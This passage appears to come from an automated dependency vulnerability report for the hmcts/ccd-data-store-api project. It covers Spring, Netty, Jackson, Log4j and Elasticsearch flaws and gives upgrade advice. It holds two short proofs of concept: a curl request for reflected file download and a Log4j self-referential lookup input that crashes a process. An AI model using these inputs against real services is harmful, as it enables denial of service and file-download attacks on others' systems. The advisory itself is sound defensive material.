Note:

  • JNI implementations are not vulnerable.
  • LZ4Factory.safeInstance(), LZ4Factory.unsafeInstance(), and LZ4Factory.fastestJavaInstance() are all vulnerable.
  • nativeInstance().fastDecompressor() is vulnerable but nativeInstance().safeDecompressor() is not.
  • This vulnerability is distinct from the one described in CVE-2025-12183, and was discovered during follow-up research.

Workaround

This vulnerability can be mitigated by zeroing the output buffer before passing it to the decompression function.

Remediation

There is no fixed version for org.lz4:lz4-java.

References

high severity

Reflected File Download (RFD)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Reflected File Download (RFD). A reflected file download attack is possible when the filename attribute of the Content-Disposition header is derived from user-supplied input.

PoC

curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

Remediation

Upgrade org.springframework:spring-web to version 5.2.3, 5.1.13, 5.0.16 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.dataformat:jackson-dataformat-cbor
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-x-content@7.16.2 com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.10.4
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-x-content@7.16.2 com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.10.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-x-content@7.16.2 com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.10.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-x-content@7.16.2 com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.10.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-x-content@7.16.2 com.fasterxml.jackson.dataformat:jackson-dataformat-cbor@2.10.4

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). Unchecked allocation of byte buffer can cause a java.lang.OutOfMemoryError exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.dataformat:jackson-dataformat-cbor to version 2.11.4, 2.12.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2019-20445

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. It allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax or as an "invalid fold."

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2020-7238

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

high severity

Improper Handling of Exceptional Conditions

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.14.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Improper Handling of Exceptional Conditions when the script processor of an Ingest Pipeline is used with malformed scripts. A user can cause a node to crash by calling the Simulate Pipeline API.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.14, 8.10.3 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.13.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when handling incoming requests on the HTTP layer. An attacker can force a node to exit with an OutOfMemory error by sending a moderate number of malformed HTTP requests.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.13, 8.9.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.25.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.25, 8.16.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.elasticsearch.plugin:lang-mustache-client
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:lang-mustache-client@6.3.1
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

